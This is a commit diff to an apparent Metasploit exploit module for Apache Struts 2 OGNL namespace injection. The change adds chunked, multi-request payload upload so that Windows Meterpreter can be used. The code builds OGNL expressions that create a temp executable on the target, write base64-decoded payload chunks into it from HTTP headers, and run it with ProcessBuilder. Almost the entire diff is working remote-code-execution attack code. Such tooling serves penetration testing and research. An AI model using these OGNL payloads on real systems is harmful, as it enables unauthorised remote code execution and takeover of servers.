struts2_namespace_ognl multishot OGNL payloads for Windows Meterpreter support
parent
ca0bf841e1
commit
a9e6257891
|
@ -24,7 +24,6 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
server's temp dir. If this fails, try a cmd/* payload, which won't
|
||||
have to write to the disk.
|
||||
},
|
||||
#TODO: Is that second paragraph above still accurate?
|
||||
'Author' => [
|
||||
'Man Yue Mo', # Discovery
|
||||
'hook-s3c', # PoC
|
||||
|
@ -176,7 +175,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
return ognl
|
||||
end
|
||||
|
||||
def send_struts_request(ognl, payload: nil)
|
||||
def send_struts_request(ognl, payload: nil, headers: nil)
|
||||
=begin #badchar-checking code
|
||||
pre = ognl
|
||||
=end
|
||||
|
@ -185,7 +184,9 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
vprint_status("Submitted OGNL: #{ognl}")
|
||||
ognl = encode_ognl(ognl)
|
||||
|
||||
headers = {'Keep-Alive': 'timeout=5, max=1000'}
|
||||
if headers.nil?
|
||||
headers = {'Keep-Alive': 'timeout=5, max=1000'}
|
||||
end
|
||||
|
||||
if payload
|
||||
vprint_status("Embedding payload of #{payload.length} bytes")
|
||||
|
@ -202,8 +203,12 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
'headers' => headers
|
||||
)
|
||||
|
||||
if resp && resp.code == 404
|
||||
fail_with(Failure::UnexpectedReply, "Server returned HTTP 404, please double check TARGETURI and ACTION options")
|
||||
begin
|
||||
if resp.code == 404
|
||||
fail_with(Failure::UnexpectedReply, "Server returned HTTP 404, please double check TARGETURI and ACTION options")
|
||||
end
|
||||
rescue
|
||||
fail_with(Failure::Unreachable)
|
||||
end
|
||||
|
||||
=begin #badchar-checking code
|
||||
|
@ -222,7 +227,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
resp
|
||||
end
|
||||
|
||||
def profile_target
|
||||
def send_profile
|
||||
# Use OGNL to extract properties from the Java environment
|
||||
|
||||
properties = { 'os.name': nil, # e.g. 'Linux'
|
||||
|
@ -281,14 +286,10 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
end
|
||||
end
|
||||
|
||||
def execute_command(cmd_input, opts={})
|
||||
# Semicolons appear to be a bad character in OGNL. cmdstager doesn't understand that.
|
||||
if cmd_input.include? ';'
|
||||
print_warning("WARNING: Command contains bad characters: semicolons (;).")
|
||||
end
|
||||
|
||||
def profile_os
|
||||
# Probe for the target OS and architecture
|
||||
begin
|
||||
properties = profile_target
|
||||
properties = send_profile()
|
||||
os = properties[:'os.name'].downcase
|
||||
rescue
|
||||
vprint_warning("Target profiling was unable to determine operating system")
|
||||
|
@ -297,10 +298,20 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
os = 'linux' if datastore['PAYLOAD'].downcase.include? 'linux'
|
||||
os = 'unix' if datastore['PAYLOAD'].downcase.include? 'unix'
|
||||
end
|
||||
return os
|
||||
end
|
||||
|
||||
if (os.include? 'linux') || (os.include? 'nix')
|
||||
def execute_command(cmd_input, opts={})
|
||||
# Semicolons appear to be a bad character in OGNL. cmdstager doesn't understand that.
|
||||
if cmd_input.include? ';'
|
||||
print_warning("WARNING: Command contains bad characters: semicolons (;).")
|
||||
end
|
||||
|
||||
os = profile_os()
|
||||
|
||||
if os && ((os.include? 'linux') || (os.include? 'nix'))
|
||||
cmd = "{'sh','-c','#{cmd_input}'}"
|
||||
elsif os.include? 'win'
|
||||
elsif os && (os.include? 'win')
|
||||
cmd = "{'cmd.exe','/c','#{cmd_input}'}"
|
||||
else
|
||||
vprint_error("Failed to detect target OS. Attempting to execute command directly")
|
||||
|
@ -336,37 +347,40 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
def send_payload
|
||||
# Probe for the target OS and architecture
|
||||
begin
|
||||
properties = profile_target
|
||||
os = properties[:'os.name'].downcase
|
||||
rescue
|
||||
vprint_warning("Target profiling was unable to determine operating system")
|
||||
os = ''
|
||||
os = 'windows' if datastore['PAYLOAD'].downcase.include? 'win'
|
||||
os = 'linux' if datastore['PAYLOAD'].downcase.include? 'linux'
|
||||
os = 'unix' if datastore['PAYLOAD'].downcase.include? 'unix'
|
||||
end
|
||||
|
||||
data_header = datastore['HEADER']
|
||||
if data_header.empty?
|
||||
fail_with(Failure::BadConfig, "HEADER parameter cannot be blank when sending a payload")
|
||||
end
|
||||
|
||||
payload = generate_payload_exe
|
||||
print_status("Generated #{payload.length} byte binary payload")
|
||||
payload_b64 = [payload].pack("m").delete("\n")
|
||||
# TODO: Remove debugging lines
|
||||
# print_status(" CRC32: #{Zlib::crc32(payload).to_s(16)} #{payload.length}")
|
||||
|
||||
if payload_b64.length < 8100
|
||||
send_payload_oneshot(payload_b64)
|
||||
else
|
||||
send_payload_multishot(payload)
|
||||
end
|
||||
end
|
||||
|
||||
def send_payload_oneshot(payload)
|
||||
random_filename = datastore['TEMPFILE']
|
||||
|
||||
# d = data stream from HTTP header
|
||||
# d = payload data
|
||||
# f = path to temp file
|
||||
# s = stream/handle to temp file
|
||||
ognl = ""
|
||||
ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']
|
||||
ognl << %Q|(#d=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{data_header}')).|
|
||||
ognl << %Q|(#f=@java.io.File@createTempFile('#{random_filename}','tmp')).|
|
||||
ognl << %Q|(#f=@java.io.File@createTempFile('#{random_filename}','.tmp')).|
|
||||
ognl << %q|(#f.setExecutable(true)).|
|
||||
ognl << %q|(#f.deleteOnExit()).|
|
||||
ognl << %q|(#s=new java.io.FileOutputStream(#f)).|
|
||||
ognl << %q|(#d=new sun.misc.BASE64Decoder().decodeBuffer(#d)).|
|
||||
ognl << %q|(#s.write(#d)).|
|
||||
#TODO consider GZIP: ognl << %q|(#s.write(java.util.zip.GZIPInputStream(#d).read())).|
|
||||
ognl << %q|(#s.close()).|
|
||||
ognl << %q|(#p=new java.lang.ProcessBuilder({#f.getAbsolutePath()})).|
|
||||
ognl << %q|(#p.start()).|
|
||||
|
@ -375,8 +389,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
success_string = rand_text_alpha(4)
|
||||
ognl << %Q|('#{success_string}')|
|
||||
|
||||
exe = [generate_payload_exe].pack("m").delete("\n")
|
||||
r = send_struts_request(ognl, payload: exe)
|
||||
r = send_struts_request(ognl, payload: payload)
|
||||
|
||||
if r && r.headers && r.headers['Location'].split('/')[1] == success_string
|
||||
print_good("Payload successfully dropped and executed.")
|
||||
|
@ -387,4 +400,124 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
fail_with(Failure::UnexpectedReply, "Target reported an unspecified error while executing the payload")
|
||||
end
|
||||
end
|
||||
|
||||
def ognl_create_file()
|
||||
filename = datastore['TEMPFILE']
|
||||
|
||||
# f = path to temp file
|
||||
ognl = ""
|
||||
ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']
|
||||
ognl << %Q|(#f=@java.io.File@createTempFile('#{filename}','.exe')).|
|
||||
ognl << %q|(#f.setExecutable(true)).|
|
||||
ognl << %q|(#f.deleteOnExit()).|
|
||||
ognl << %q|(#f)|
|
||||
|
||||
r = send_struts_request(ognl)
|
||||
|
||||
begin
|
||||
tempfile = r.headers['Location']
|
||||
tempfile = tempfile[1..-(2+datastore['ACTION'].length)]
|
||||
return tempfile
|
||||
rescue
|
||||
fail_with(Failure::UnexpectedReply,"Unable to create and locate temp file on target.")
|
||||
end
|
||||
end
|
||||
|
||||
def send_payload_multishot(payload)
|
||||
tempfile = ognl_create_file()
|
||||
print_status("Temp file created: #{tempfile}")
|
||||
|
||||
payload_cursor = 0
|
||||
|
||||
while payload_cursor < payload.length
|
||||
payload_size = rand(4500..5000) # payload_size cannot exceed 5645 in my testing
|
||||
payload_start = payload_cursor
|
||||
payload_end = payload_cursor + payload_size
|
||||
payload_end = payload.size if payload_end > payload.size
|
||||
|
||||
chunk_bin = payload[payload_start..payload_end]
|
||||
chunk_b64 = [chunk_bin].pack("m").delete("\n")
|
||||
print_status("Sending payload chunk: #{chunk_b64.length} bytes")
|
||||
ognl_append_file(tempfile, chunk_b64)
|
||||
|
||||
payload_cursor = payload_end + 1
|
||||
end
|
||||
|
||||
ognl_execute(tempfile)
|
||||
end
|
||||
|
||||
def ognl_append_file(payload_file, payload_chunk)
|
||||
data_header = datastore['HEADER'] + 'd'
|
||||
file_header = datastore['HEADER'] + 'f'
|
||||
headers = {
|
||||
"#{data_header}": payload_chunk,
|
||||
# TODO: Remove split for debugging
|
||||
"#{file_header}": payload_file.split('.exe')[0],
|
||||
}
|
||||
|
||||
# d = payload data
|
||||
# f = path to temp file
|
||||
# s = stream/handle to temp file
|
||||
ognl = ""
|
||||
ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']
|
||||
ognl << %Q|(#d=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{data_header}')).|
|
||||
ognl << %Q|(#f=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{file_header}')).|
|
||||
#TODO: Remove debugging
|
||||
#ognl << %q|(#b=new java.io.FileOutputStream(#f+'.b64',1)).|
|
||||
ognl << %q|(#s=new java.io.FileOutputStream(#f+'.exe',1)).|
|
||||
#TODO: Remove debugging
|
||||
#ognl << %q|(#b.write(#d.getBytes())).|
|
||||
ognl << %q|(#d=new sun.misc.BASE64Decoder().decodeBuffer(#d)).|
|
||||
ognl << %q|(#s.write(#d)).|
|
||||
#TODO: Remove debugging
|
||||
#ognl << %q|(#b.close()).|
|
||||
ognl << %q|(#s.close()).|
|
||||
|
||||
# TODO: Remove debugging
|
||||
success_string = rand_text_alpha(4)
|
||||
ognl << %Q|('#{success_string}')|
|
||||
r = send_struts_request(ognl, headers: headers)
|
||||
|
||||
begin
|
||||
if r.headers['Location'].include? success_string
|
||||
vprint_good("OGNL payload chunk sent successfully.")
|
||||
return
|
||||
else
|
||||
fail_with(Failure::UnexpectedReply, "OGNL payload upload did not respond")
|
||||
end
|
||||
rescue
|
||||
fail_with(Failure::UnexpectedReply, "OGNL payload upload failed")
|
||||
end
|
||||
end
|
||||
|
||||
def ognl_execute(file)
|
||||
file_header = datastore['HEADER'] + 'f'
|
||||
headers = {
|
||||
"#{file_header}": file,
|
||||
}
|
||||
|
||||
# f = path to temp file
|
||||
# p = process handle
|
||||
ognl = ""
|
||||
ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']
|
||||
ognl << %Q|(#f=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{file_header}')).|
|
||||
ognl << %q|(#p=new java.lang.ProcessBuilder(#f)).|
|
||||
ognl << %q|(#p.start()).|
|
||||
ognl << %q|(#f.delete()).|
|
||||
|
||||
success_string = rand_text_alpha(4)
|
||||
ognl << %Q|('#{success_string}')|
|
||||
r = send_struts_request(ognl, headers: headers)
|
||||
|
||||
begin
|
||||
if r.code==302
|
||||
print_good("OGNL payload executed successfully.")
|
||||
else
|
||||
fail_with(Failure::PayloadFailed, "Target did not successfully execute the request")
|
||||
end
|
||||
rescue
|
||||
vprint_status("TARGET RESPONDED: #{r.to_s}")
|
||||
fail_with(Failure::UnexpectedReply, "Target reported an unspecified error while attempting to execute the payload")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue